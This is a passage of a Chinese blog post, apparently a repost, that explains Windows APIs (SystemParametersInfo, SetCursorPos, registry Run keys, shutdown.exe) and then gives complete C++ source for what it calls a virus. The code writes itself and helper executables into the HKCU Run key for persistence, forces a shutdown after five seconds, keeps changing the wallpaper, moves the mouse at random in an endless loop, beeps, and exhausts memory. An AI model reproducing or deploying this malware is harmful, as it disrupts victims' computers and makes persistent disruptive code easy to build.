95及以后版本,確定是否允許Alt+Tab和AIt+Esc任務(wù)切換。參數(shù)pvParam必須指向UINT類型變量,如果禁止任務(wù)切換,那么返回值為1,否則為0。在缺省情況下,是允許進行任務(wù)切換的。SPI_GETTOGGLEKEYS:檢索與ToggleKeys易用特性有關(guān)的信息。參數(shù)pvParam必須指向TOGGLEKEYS結(jié)構(gòu)以獲取信息。該結(jié)構(gòu)中的cbSize成員和ulParam參數(shù)值要設(shè)置sizeof(TOGGLEKEYS)。SPI_GETWHEELSCROLLLINES:用于Windows NT 4.0及以后版本、Windows 98。當(dāng)前軌跡球轉(zhuǎn)動時,獲取滾動的行數(shù)。參數(shù)pvParam必須指向UINT類型變量以接收行數(shù)。缺省值是3。SPI_GETWINDOWSEXTENSION:在Windows 95中指示系統(tǒng)中是否裝了Windows Extension和Windows Plus!。 參數(shù)ulParam應(yīng)設(shè)為1。而參數(shù)pvParam則不用。如果安裝了Windows Extenson,那么該函數(shù)返回TRUE,否則為FALSE。SPI_GETWORKAREA:檢索主顯示器的工作區(qū)大小。工作區(qū)是指屏幕上不被系統(tǒng)任務(wù)條或應(yīng)用程序桌面工具遮蓋的部分。參數(shù)pvParam必須指向RECT結(jié)構(gòu)以接收工作區(qū)的坐標(biāo)信息,坐標(biāo)是用虛擬屏幕坐標(biāo)來表示的。為了獲取非主顯示器的工作區(qū)信息,請調(diào)用GetMonitorlnfo函數(shù)。參數(shù)ulParam指定寬度,單位是像素。SPI_ICONVERTICALSPACING:設(shè)置圖標(biāo)單元的高度。參數(shù)ulParam指定高度,單位是像素。SPI_LANGDRIVER:未實現(xiàn)。SPI_SCREENSAVERRUNNING:改名為SPI_SETSCREENSAVERRUNNING。Spl_SETACCESSTIMEOUT:設(shè)置與可訪問特性有關(guān)的時間限度值,參數(shù) pvParam必須指向包含新參數(shù)的ACCESSTIMEOUT結(jié)構(gòu),該結(jié)構(gòu)的cbSize成員與ulParam參數(shù)的值要設(shè)為sizeof(ACCESSTMEOUT)。SPI_SETACTIVEWINDOWTRACKING:用于Windows NT 5.0及以后版本、Windows 98。設(shè)置活動窗口追蹤的開或關(guān),如果把參數(shù)pvParam設(shè)為TRUE,則表示開。pvParam參數(shù)為FALSE時表示關(guān)。SPI_SETACTIVEWNDTRKZORDER:用于Windows NT 5.0及以后版本、Windows 98。表示是否把通過活動窗口跟蹤而激活的窗口推至頂層。參數(shù)pvParam設(shè)為TRUE表示推至頂層,FALSE則表示不推至頂層。SPI_SETACTIVEWNDTRKTIMEOUT:用于Wlindows NT 5.0及以后版本、Windows 98。設(shè)置活動窗口跟蹤延遲。 參數(shù)pvParam設(shè)置在用鼠標(biāo)指針激活窗口前需延遲的時間量,單位為毫秒。SPI_SETBEEP:將警蜂器打開或關(guān)閉。參數(shù)ulParam指定為TRUE時表示打開,為FALSE時表示關(guān)閉。SPI_SETBORDER:設(shè)置確定窗口縮放邊界的邊界放大因子。參數(shù)ulParam用來指定該值。SPI_SETCOMBOBOXANIMATION:用于Windows NT 5.0及以后版本和Windows 98。允許或禁止組合滑動打開效果。如果設(shè)置pvParam參數(shù)為TRUE,則表示允許有傾斜效果,如果設(shè)為FALSE則表示禁止。SPI_SETCURSORS:重置系統(tǒng)光標(biāo)。將ulParam參數(shù)設(shè)為0并且pvParam參數(shù)設(shè)為NULL。SPI_SETDEFAULTINPUTLANG:為系統(tǒng)Shell(命令行解器)和應(yīng)用程序設(shè)置缺省的輸入語言。指定的語言必須是可使用當(dāng)前系統(tǒng)字符集來顯示的。pvParam參數(shù)必須指向DWORD變量,該變量包含用于缺省語言的鍵盤布局句柄。SpI_SETDESKpATTERN:通過使Windows系統(tǒng)從WIN.INI文件中pattern=設(shè)置項來設(shè)置當(dāng)前桌面模式。SPI_SETDESKWALLPAPER:設(shè)置桌面壁紙。pvParam參數(shù)必須指向一個包含位圖文件名,并且以NULL(空)結(jié)束的字符串。SPI_SETDOUBLECLICKTIME:設(shè)ulParam參數(shù)的值為目標(biāo)雙擊時間。雙擊時間是指雙擊中的第1次和第2次點擊之間的最大時間,單位為毫秒。也可以使用SetDoubleClickTime函數(shù)來設(shè)置雙擊時間。為獲取當(dāng)前雙擊時間,請調(diào)用GetDoubleClickTime函數(shù)。SPI_SETDOUBLECLKHEGHT:將ulParam參數(shù)的值設(shè)為雙擊矩形區(qū)域的高度。雙擊矩形區(qū)域是指雙擊中的第2次點擊時鼠標(biāo)指針必須落在的區(qū)域,這樣才能記錄為雙擊。SPI_SETDOUBLECLKWIDTH:將ulParam參數(shù)的值設(shè)為雙擊矩形區(qū)域的寬度。SPI_SETDRAGFULLWINDOWS:設(shè)置是否允許拖至最大窗口。參數(shù)uIParam指定為TRUE時表示為允許,為FALSE則不可。對于Windows 95,該標(biāo)志只有在安裝了Windows plus!才支持。SPI_SETDRAGHEIGHT:設(shè)置用于檢測拖拉操作起點的矩形區(qū)域的高度,單位為像素。參考GETSYSTEMMETRICS函數(shù)的nlndex參數(shù)中的SM_CXDRAG和SM_CYDRAG。SPI_SETDRAGWIDTH:設(shè)置用于檢測拖拉操作起點的矩形區(qū)域的寬度,單位為像素。SPI_SETFASTTASKSWITCH:該標(biāo)志己不再使用。以前版本的系統(tǒng)使用此標(biāo)志來允許或不許進行Alt+Tab快速任務(wù)切換。對于Windows 95、Windows 98和Windows NT 4.0,通常都允許進行快速任務(wù)切換。參考SPI_SETSWITCHTASKDISABLE。SPI_SETFILTERKEYS:設(shè)置FilterKeys易用特性的參數(shù)。參數(shù)pvParam必須指向包含新參數(shù)的FILTERKEYS結(jié)構(gòu),該結(jié)構(gòu)中的cbSize成員和參數(shù)ulParam的值應(yīng)設(shè)為sizeof(FILTERKEYS)。SPI_SETFONTSMOOTHING:允許或禁止有字體平滑特性。該特性使用字體保真技術(shù),通過在不同灰度級上涂畫像素點來使得字體曲線顯得更加平滑,為了允許有該特性,參數(shù)ulParam應(yīng)設(shè)為TRUE值,否則為FALSE。對于Windows 95,只有在安裝了Windows plusl才支持該標(biāo)志。SPI_SETFOREGROUNDFLASHCOUNT:用于Windows 98和Windows NT 5.0及以后版本。設(shè)置SetForegroundWindow在拒絕前臺切換申請時閃爍任務(wù)攔按鈕的次數(shù)。SPI_SETFOREGROUNDLOCKTIMEOUT:用于Windows 98和Windows NT 5.0及以后版本。它用來設(shè)置在用戶輸入之后,系統(tǒng)禁止應(yīng)用程序強行將自己進入前臺期間的時間長度,單位為毫秒。參數(shù)pvParam設(shè)置這個新的時間限度值。SPI_SETGRADIENTCAPTIONS:用于Windows 98和Windows NT 5.0及以后版本。允許或禁止窗口標(biāo)題欄有傾斜效果。如果允許則將參數(shù)pvParam設(shè)置為TRUE,否則設(shè)為FALSE。有關(guān)傾斜效果方面更多信息,請參考GetSysColor函數(shù)。SPI_SETGRIDGRANULARITY:將桌面縮放時網(wǎng)格的顆粒度值設(shè)置為參數(shù)ulParam中的值。SPI_SETHANDHELD:內(nèi)部使用,應(yīng)用程序不應(yīng)使用該值。SPI_SETHIGHCONTRAST:用于Windows 95及以后版本、Windows NT 5.0及以后版本。設(shè)置HighContrast可訪問特性的參數(shù)。參數(shù)pvParam必須指向HIGHCONTRAST結(jié)構(gòu),該結(jié)構(gòu)包含新的參數(shù)。該結(jié)構(gòu)中的cbSize成員及參數(shù)ulParam的值設(shè)為sizeof(HIGHCONTRAST)。SPI_SETICONMETRICS:設(shè)置與圖標(biāo)有關(guān)的信息。參數(shù)pvParam必須指向包含新參數(shù)的ICONMETRICS結(jié)構(gòu),另外還要將參數(shù)ulParam和該結(jié)構(gòu)中的cbSize成員的值設(shè)置為sizeof(ICONMETRICS)。SPI_SETICONS:重新加載系統(tǒng)圖標(biāo)。參數(shù)ulParam的值應(yīng)設(shè)為0,而pvParam參數(shù)應(yīng)設(shè)為NULL。SPI_SETICONTITLELOGFONT:設(shè)置用于圖標(biāo)標(biāo)題的字體。參數(shù)ulParam指定為logfont結(jié)構(gòu)的大小,而參數(shù)pvParam必須指向一個LOGFONT結(jié)構(gòu)。SPI_SETICONTITLEWRAP:打開或關(guān)閉圖標(biāo)標(biāo)題折行功能。若想打開折行功能,則把參數(shù)ulParam設(shè)為TRUE,否則為FALSE。SPI_SETKEYBOARDDELAY:設(shè)置鍵盤重復(fù)延遲。參數(shù)ulParam必須指定為0,1,2或3。其中0表示設(shè)置為最短延遲(大約 250ms)3,表示最大延遲(大約 1 秒)。與每個值對應(yīng)的實際的延遲時間根據(jù)硬件情況有可能有些變化。SPI_SETKEYBOARDPREF:用于Windows 95及以后版本、Windows NT 5.0及以后版本,設(shè)置鍵盤優(yōu)先序。如果用戶依賴鍵盤而不是鼠標(biāo),那么可將參數(shù)ulParam指定為TRUE,否則設(shè)為FALSE,并且要求應(yīng)用程序顯示而不隱蔽鍵盤接口。SPI_SETKEYBOARDSPEED:設(shè)置鍵盤重擊鍵速度。參數(shù)ulParam必須指定一個從0到31的值,其中0表示設(shè)置成最快速度(大約30次/秒),31表示設(shè)置為最低速度(大約2。5次/秒),實際的重速率與硬件有關(guān),而且可能變動幅度高達20%。如果ulParam大于31,那么該參數(shù)仍設(shè)置為31。SPI_SETLANGTOGGLE:為輸入語言間切換設(shè)置熱鍵集。參數(shù)ulParam和pvParam不用。該值通過讀取注冊表來設(shè)置鍵盤屬性表單中的快捷鍵。在使用該標(biāo)志之前必須設(shè)置注冊表,注冊表中的路徑是"1"=Alt+shift,"2"=Ctrl+shift,"3"=none(無)。SPI_SETLISTBOXSMOOTHSCROLLING:用于Windows 98和Windows NT 5.0及以后版本。允許或不許列表欄有平滑滾動效果。參數(shù)pvParam設(shè)置為TRUE表示允許有平滑滾動效果,為FALSE則表示禁止。SPI_SETLOWPOWERACTIVE:激活或關(guān)閉低電壓屏幕保護特性。參數(shù)ulParam設(shè)為1表示激活,0表示關(guān)閉。參數(shù)pvParam必須設(shè)為NULL。對于Windows 98,該標(biāo)志支持16位和32位應(yīng)用程序。對于Windows 95,該標(biāo)志只支持16位應(yīng)用程序。對于Windows NT.該標(biāo)志只支持NT 5.0及以后版本的32位應(yīng)用程序,不支持16位應(yīng)用程序。SPI_SETLOWPOWERTIMEOUT:用于設(shè)置低電壓屏幕保護中的時間值(也稱超時值,即在超過某一時間段后自動進行屏幕保護),單位為秒。uIParam參數(shù)用來指定這個新值。參數(shù)pvParam必須為NULL。對于Windows98,該標(biāo)志支持16位和32位應(yīng)用程序。對于Windows 95,該標(biāo)志只支持16位應(yīng)用程序。對于Windows NT該標(biāo)志只支持NT 5.0及以后版本的32位應(yīng)用程序,不支持16位應(yīng)用程序。SPI_SETMENUDROPALIGNMENT:設(shè)置彈出或菜單的對齊方式。參數(shù)ulParam指定為TRUE時表示是右對齊,FALSE時為左對齊。SPI_SETMINIMIZEDMETRICS:設(shè)置與最小化窗口有關(guān)的數(shù)據(jù)信息,參數(shù)pvParam必須指向包含新參數(shù)的MINIMIZEDMETRICS結(jié)構(gòu)。該結(jié)構(gòu)中的cbSize成員與ulParam參數(shù)的值應(yīng)設(shè)為sizeof(MINMIZEDMETRICS)。SPI_SETMOUSE:設(shè)置鼠標(biāo)的兩個閥值和加速率。參數(shù)pvParam必須指向一個長度為3的數(shù)組,以指定這些值。詳細請參考mouse_event。SPI_SETMOUSEBUTTONSWAP:調(diào)換或恢復(fù)鼠標(biāo)左右按鈕的含義,為FALSE時表示恢復(fù)原來的含義。SPI_SETMOUSEHOVERHEGHT:用于Windows 98和Windows NT 4.0及以后版本。設(shè)置鼠標(biāo)指針停留區(qū)域的高度,以像素為單位。鼠標(biāo)指針在此區(qū)域停留是為了讓TrackMouseEvent產(chǎn)生一條WM_MUOSEHOVER消息,參數(shù)ulParam用來設(shè)置此高度值。SPI_SETMOUSEHOVERTIME:用于Windows 98和Windows NT 4.0及以后版本。設(shè)置鼠標(biāo)指針為了讓TrackMouseEvent產(chǎn)生WM_MOUSEHOVER事件而在停留區(qū)域應(yīng)停留的時間。該標(biāo)志只有在將調(diào)用dwHoverTime參數(shù)中的HOVER_DEFAULT值傳送到TrackMouseEvent時才使用。參數(shù)ulParam設(shè)置這個新的時間值。SPI_SETMOUSEHOVERWIDTH:用于Windows 98和Windows NT 4.0及以后版本。設(shè)置鼠標(biāo)指針停留區(qū)域的寬度,以像素為單位。參數(shù)ulParam設(shè)置該新值。SPI_SETMOUSEKEYS:設(shè)置MouseKeys易用特性的參數(shù)。參數(shù)pvParam必須指向包含新參數(shù)的MOUSEKEYS結(jié)構(gòu)。結(jié)構(gòu)中的cbSize成員與參數(shù)ulParam的值應(yīng)設(shè)為sizeof(MOUSEKEYS)。SPI_SETMOUSESPEED:用于Windows NT 5.0及以后的版本和Windows 98,設(shè)置當(dāng)前鼠標(biāo)速度。參數(shù)pvParam必須指向一個1(最慢)至20(最快)之間的整數(shù)。缺省值是10。一般可以使用鼠標(biāo)控制面板應(yīng)用程序來設(shè)置該值。SPI_SETMOUSETRAILS:用于Windows 95及以后版本:允許或禁止有MoouseTrails(鼠標(biāo)軌跡)特性。該特性通過簡短地顯示鼠標(biāo)光標(biāo)軌跡,并迅速地擦除它們來提高鼠標(biāo)的可見度。禁止該特性可將參數(shù)ulParam設(shè)為0或1,允許時,將ulParam設(shè)置為一個大于1的數(shù)值,該值表示軌跡中畫出的光標(biāo)個數(shù)。SPI_SETNONCLIENTMETRICS:設(shè)置與非最小化窗口的非客區(qū)有關(guān)的數(shù)據(jù)信息,參數(shù)pvParam必須指向NONCLIENTMETRICS結(jié)構(gòu),該結(jié)構(gòu)包含新的參數(shù)。其成員cbSzie和參數(shù)ulParam的值應(yīng)設(shè)為sizeof(NONCLIENTMETRICS)。SPI_SETPENWINDOWS;用于Windows 95及以后版本:指定是否加載筆窗口,當(dāng)加載時,參數(shù)ulParam設(shè)為TRUE,不加載時為FALSE。參數(shù)pvParam為NULL。SPI_SETPOWEROFFACTIVE:激活或關(guān)閉屏幕保護特性參數(shù)。ulParam設(shè)為1表示激活,0表示關(guān)閉。參數(shù)pvParam必須為NULL。對于Windows 98,該標(biāo)志支持16位和32位應(yīng)用程序。對于Windows 95,該標(biāo)志只支持16位應(yīng)用程序。對于Windows NT,該標(biāo)志支持Windows NT 5.0及以后版本的32位應(yīng)用程序,不支持16位應(yīng)用程序。SPI_SETPOWEROFFTIMEOUT:設(shè)置用于關(guān)閉屏幕保護所需的時間值(也稱超時值)。參數(shù)ulParam指定該值。參數(shù)pvParam必須為NULL。對于Windows 98.該標(biāo)志支持16位和32位應(yīng)用程序。對于Windows 95,該標(biāo)志只支持16位應(yīng)用程序。對于Windows NT,該標(biāo)志支持Windows NT 5.0及以后版本上的32位應(yīng)用程序,不支持16位應(yīng)用程序。SPI_SETSCREENREADER;用于Windows 95及以后版本、Windows NT 5.0及以后版本,表示屏幕審閱程序是否運行。參數(shù)uiparm指定為TRUE表示運行該程序,FALSE則不運行。SPI_SETSCREENSAVERRUNNING:用于Windows 95及以后版本,內(nèi)部使用。應(yīng)用程序不應(yīng)該使用此標(biāo)志SPI_SETSETSCREENSAVETIMEOUT:參數(shù)ulParam值為屏幕保護器時間限度值。該值是一個時間量,以秒為單位,在屏幕保護器激活之前,系統(tǒng)應(yīng)該一直是空閑的,超過這個值就激活屏幕保護器。SPI_SETSERIALKEYS:用于Windows 95及以后版本:設(shè)置SerialKeys易用特性的參數(shù)。參數(shù)pvParam必須指向包含新參數(shù)的SERIALKEYS結(jié)構(gòu),其成員cbSize和參數(shù)ulParam應(yīng)設(shè)為sizeof(SERIALKEYS)。SPI_SETSHOWSOUNDS:將ShowSounds易用特性設(shè)置為打開或關(guān)閉。參數(shù)ulParam指定為TRUE時表示打開,FALSE表示關(guān)閉。SPI_SETSNAPTODEFBUTTON:用于Windows NT 4.0及以后版本、Windows 98。允許或禁止有snap-to-default-button(跳轉(zhuǎn)至缺省按鈕)特性。如果允許,那么鼠標(biāo)光標(biāo)會自動移至缺省按鈕上,例如對話柜中的OK或"apply"按鈕。參數(shù)ulParam設(shè)為TRUE表示允許該特性,FALSE表示禁止。SPI_SETSOUNDSENTRY:設(shè)置SOUNDSENTRY易用特性的參數(shù)。參數(shù)pvParam必須指向SOUNDSENTRY結(jié)構(gòu),該結(jié)構(gòu)包含新參數(shù),其成員cbSize和參數(shù)ulParam的值應(yīng)設(shè)為sizeof(SOUNDSENTRY)。SPI_SETSTICKYKEYS:設(shè)置stickykeys可訪問特性的參數(shù)。參數(shù)pvParam必須指向包含新參數(shù)的stickykeys結(jié)構(gòu),其成員cbSize和ulParam參數(shù)的值要設(shè)為sizeof(STICKYKEYS)。SPI_SETSWITCHTASKDISABLE:用于Windows NT 5.0及以后版本,允許或禁止有Alt+Tab和Alt+Esc任務(wù)切換特性。參數(shù)ulParam設(shè)為1表示允許有該特性,設(shè)為0則表示禁止。缺省情況下是允許有任務(wù)切換特性的。SPI_SETTOGGLEKEYS:設(shè)置togglekeys可訪問特性的參數(shù),參數(shù)PvParam必須指向TOGGLEKEYS結(jié)構(gòu),該結(jié)構(gòu)中包含新的參數(shù)。其成員cbSize和參數(shù)ulParam的值要設(shè)為sizeof(togglekeys)。SPI_SETWHEELSCROOLLLINES:用于Windows 98和Windows NT 4.O及以后版本。設(shè)置當(dāng)鼠標(biāo)軌跡球轉(zhuǎn)動時要滾動的行數(shù),滾動的行數(shù)是由參數(shù)ulParam設(shè)置的,該行數(shù)是在鼠標(biāo)軌跡球滾動,并且沒有使用修改鍵時的滾動行數(shù)。如果該數(shù)值為0,那么不會發(fā)生滾動,如果滾動行數(shù)比可見到的行數(shù)要大,尤其如果是WHEEL_PAGESCROLL(#defined sa UINT_MAX),那么滾動操作應(yīng)該被解釋成在滾動條的下一頁或上一頁區(qū)點擊一次。SPI_SETWORKAREA:設(shè)置工作區(qū)域大小。工作區(qū)是指屏幕上沒有被系統(tǒng)任務(wù)欄或桌面應(yīng)用程序桌面工具遮蓋的部分。參數(shù)pvParam是一個指針。指向RECT結(jié)構(gòu),該結(jié)構(gòu)規(guī)定新的矩形工作區(qū)域,它是以虛擬屏幕坐標(biāo)來表達的。在多顯示器系統(tǒng)中,該函數(shù)用來設(shè)置包含特定矩形的顯示器工作區(qū)域。如果PvParam為NULL,那么該函數(shù)將主顯示器的工作區(qū)域設(shè)為全屏。更多
uiParam:uiParam 在參數(shù)說明中所有為ulParam均為錯誤。
這個參數(shù)值設(shè)為true即可。pvParam:與查詢或設(shè)置的系統(tǒng)參數(shù)有關(guān)。關(guān)于系統(tǒng)級參數(shù)的詳情,請參考uiAction參數(shù)。否則在沒有指明情況下,必須將該參數(shù)指定為NULL。
在修改背景圖片時為圖片信息,PVOID類型。fWinlni:如果設(shè)置系統(tǒng)參數(shù),則它用來指定是否更新用戶配置文件(Profile)。亦或是否要將WM_SETTINGCHANGE消息廣播給所有頂層窗口,以通知它們新的變化內(nèi)容。該參數(shù)可以是0或下列取值之一:
SPIF_UPDATEINIFILE:把新的系統(tǒng)參數(shù)的設(shè)置內(nèi)容寫入用戶配置文件。SPIF_SENDCHANGE:在更新用戶配置文件之后廣播WM_SETTINGCHANGE消息。SPI_SENDWININICHANGE與 SPIF_SENDCHANGE一樣。返回值
如果函數(shù)調(diào)用成功,返回值非零:如果函數(shù)調(diào)用失敗,那么返回值為零。控制鼠標(biāo)方法
控制鼠標(biāo)坐標(biāo)的方法同樣也時調(diào)用一個API,GetCursorPos和SetCursorPos
GetCursorPos用于獲取鼠標(biāo)句柄
#include<stdio.h> #include<windows.h> int main() {POINT p;GetCursorPos(&p);return0; }SetCursorPos用于移動鼠標(biāo)
在使用GetCursorPos獲取鼠標(biāo)句柄之后,可以調(diào)用SetCursorPos移動鼠標(biāo),它的兩個參數(shù)分別是x軸和y軸。
函數(shù)原型:BOOL SetCursorPos(int X,int Y); 參數(shù): X:指定光標(biāo)的新的X坐標(biāo),以屏幕坐標(biāo)表示。 Y:指定光標(biāo)的新的Y坐標(biāo),以屏幕坐標(biāo)表示。 返回值:如果成功,返回非零值;如果失敗,返回值是零,若想獲得更多錯誤信息,請調(diào)用GetLastError函數(shù)。 備注:該光標(biāo)是共享資源,僅當(dāng)該光標(biāo)在一個窗口的客戶區(qū)域內(nèi)時它才能移動該光標(biāo)。開機自啟動方法
注冊表
開機自啟動的實現(xiàn)方法就是通過注冊表實現(xiàn),在注冊表中有固定的開機自啟程序設(shè)置位置
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx在這幾項中有我們電腦中的開機自啟動程序信息,
例如這個WeChat就是開機時的微信登錄程序。
注冊表讀寫方法
RegCreateKey
// 打開注冊表 LONG WINAPI RegCreateKey( _In_ HKEY hKey, _In_opt_ LPCTSTR lpSubKey, _Out_ PHKEY phkResult );hKey
指向當(dāng)前打開表項的句柄,或者是下列預(yù)定義保留句柄值之一,實際上就是注冊表中的幾個分支。
lpSubKey
指向一個空終止的字符串指針,指示這個函數(shù)將打開或創(chuàng)建的表項的名稱。這個表項必須是由hKey參數(shù)所標(biāo)識的項的子項
phkResult
這是一個返回值,指向一個變量的指針,用來接受創(chuàng)建或打開的表項的句柄。當(dāng)不再需要此返回的注冊表項句柄時,調(diào)用RegCloseKey函數(shù)關(guān)閉這個句柄。
RegSetValueEx
// 讀寫注冊表 LONG RegSetValueEx(HKEY hKey,LPCTSTR lpValueName,DWORD Reserved,DWORD dwType,CONST BYTE *lpData,DWORD cbData );hKey
一個已打開項的句柄,或指定一個標(biāo)準項名
lpValueName
指向一個字符串的指針,該字符串包含了欲設(shè)置值的名稱。若擁有該值名稱的值并不存在于指定的注冊表項中,則此函數(shù)將其加入到該項。如果此值是NULL,或指向空字符串,則此函數(shù)為該項的默認值或未命名值設(shè)置類型和數(shù)據(jù)。
Reserved
保留值,必須強制為0
dwType
指定將被存儲的數(shù)據(jù)類型,該參數(shù)可以為
lpData
指向一個緩沖區(qū),該緩沖區(qū)包含了欲為指定值名稱存儲的數(shù)據(jù)。
cbData
指定由lpData參數(shù)所指向的數(shù)據(jù)的大小,單位是字節(jié)。
關(guān)機方法
Windows 系統(tǒng)自帶一個名為Shutdown.exe的程序,可以用于關(guān)機操作(位置在Windows\System32下),一般情況下Windows系統(tǒng)的關(guān)機都可以通過調(diào)用程序 shutdown.exe來實現(xiàn)的,同時該程序也可以用于終止正在計劃中的關(guān)機操作。
shutdown-a 取消關(guān)機 shutdown -s 關(guān)機 shutdown -f 強行關(guān)閉應(yīng)用程序 shutdown -m \\計算機名 控制遠程計算機 shutdown -i 顯示“遠程關(guān)機”圖形用戶界面,但必須是Shutdown的第一個參數(shù) shutdown -l 注銷當(dāng)前用戶 shutdown -r 關(guān)機并重啟 shutdown -s -t 時間 設(shè)置關(guān)機倒計時 shutdown -h 休眠實現(xiàn)
修改桌面背景代碼
圖片信息使用了一個PVOID數(shù)組,并通過一個for循環(huán)不斷切換桌面背景。
#include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ;int main(){PVOID s[10] = {(PVOID)"D:\\windows\\system32\\bin\\background.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background1.jpg" ,...(PVOID)"D:\\windows\\system32\\bin\\background6.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background7.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background8.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background9.jpg"};SystemParametersInfo(20, true,s, 1) ;for(int i=0;i<10;i++){SystemParametersInfo(20, true,s[i], 1) ;Sleep(1000);//控制時間間隔}return 0 ; }控制鼠標(biāo)代碼
利用隨機數(shù)和while死循環(huán)達到鼠標(biāo)不受控制瘋狂隨機移動的功能。
#include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ;int main(){POINT sb;srand((unsigned)time(NULL));GetCursorPos (&sb);//獲取鼠標(biāo)坐標(biāo)while(1){SetCursorPos(rand()%1000,rand()%800);//更改鼠標(biāo)坐標(biāo)Sleep(1);//控制移動時間間隔}return 0 ; }開機自啟動代碼
ret = RegSetValueEx(hkey,_T("新加項名稱"),0,REG_SZ,(const BYTE*)("d:\windows\setup.exe"),21);
第二個參數(shù)是項名稱,第五個參數(shù)是要開機啟動程序的路徑位置,最后一個參數(shù)是第五個參數(shù)路徑字符長度。
#include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ;int main(){HKEY hkey ;//計算機\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunTCHAR p[64] ;long ret;ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey);if(ret==ERROR_SUCCESS){ret = RegSetValueEx(hkey,_T("新加項名稱"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主if(ret==ERROR_SUCCESS){// 寫入成功}else {// 寫入失敗cout << "Write filed !" ;}}else {// 注冊表打開失敗cout << "Read error !" << endl ;} return 0 ; }關(guān)機代碼
這個功能實現(xiàn)比較簡單。
#include<stdio.h> #include<windows.h>int main(){// 五秒關(guān)機system("shutdown -s -t 5");return 0 ; }代碼
注冊程序,將病毒主體加入開機自啟動
#include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ;int main(){HKEY hkey ;//計算機\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunTCHAR p[64] ;long ret;ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey);if(ret==ERROR_SUCCESS){ret = RegSetValueEx(hkey,_T("LexBer"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主ret = RegSetValueEx(hkey,_T("Begin"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\bin\\begin.exe"),35); // 主要動作ret = RegSetValueEx(hkey,_T("FindQQ"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\conf\\find.exe"),35);//監(jiān)控實時變化if(ret==ERROR_SUCCESS){// 寫入成功}else {// 寫入失敗cout << "Write filed !" ;}}else {cout << "Read error !" << endl ;}return 0 ; }病毒主體,在上方代碼實現(xiàn)開機自啟動之后,這段代碼可以不斷修改壁紙,控制鼠標(biāo)以及關(guān)機。
#include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ;int main(){POINT sb;PVOID s[10] = {(PVOID)"D:\\windows\\system32\\bin\\background.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background1.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background2.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background3.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background4.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background5.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background6.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background7.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background8.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background9.jpg"};srand((unsigned)time(NULL));system("shutdown -s -t 5");SystemParametersInfo(20, true,s, 1) ;GetCursorPos (&sb);//獲取鼠標(biāo)坐標(biāo)int i = 0 ;while(1){int *p = (int*)malloc(10000000000) ;printf("\a");SystemParametersInfo(20, true,s[i], 1) ;if(i>=9){i = 0 ;}SetCursorPos(rand()%1000,rand()%800);//更改鼠標(biāo)坐標(biāo)Sleep(1);//控制移動時間間隔}return 0 ; }參考 : Github
轉(zhuǎn)載于:https://www.cnblogs.com/LexMoon/p/bdsz.html
總結(jié)
以上是生活随笔為你收集整理的病毒木马防御与分析实战的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Koa2框架从0开始构建预告片网站
- 下一篇: 前台获取当前时间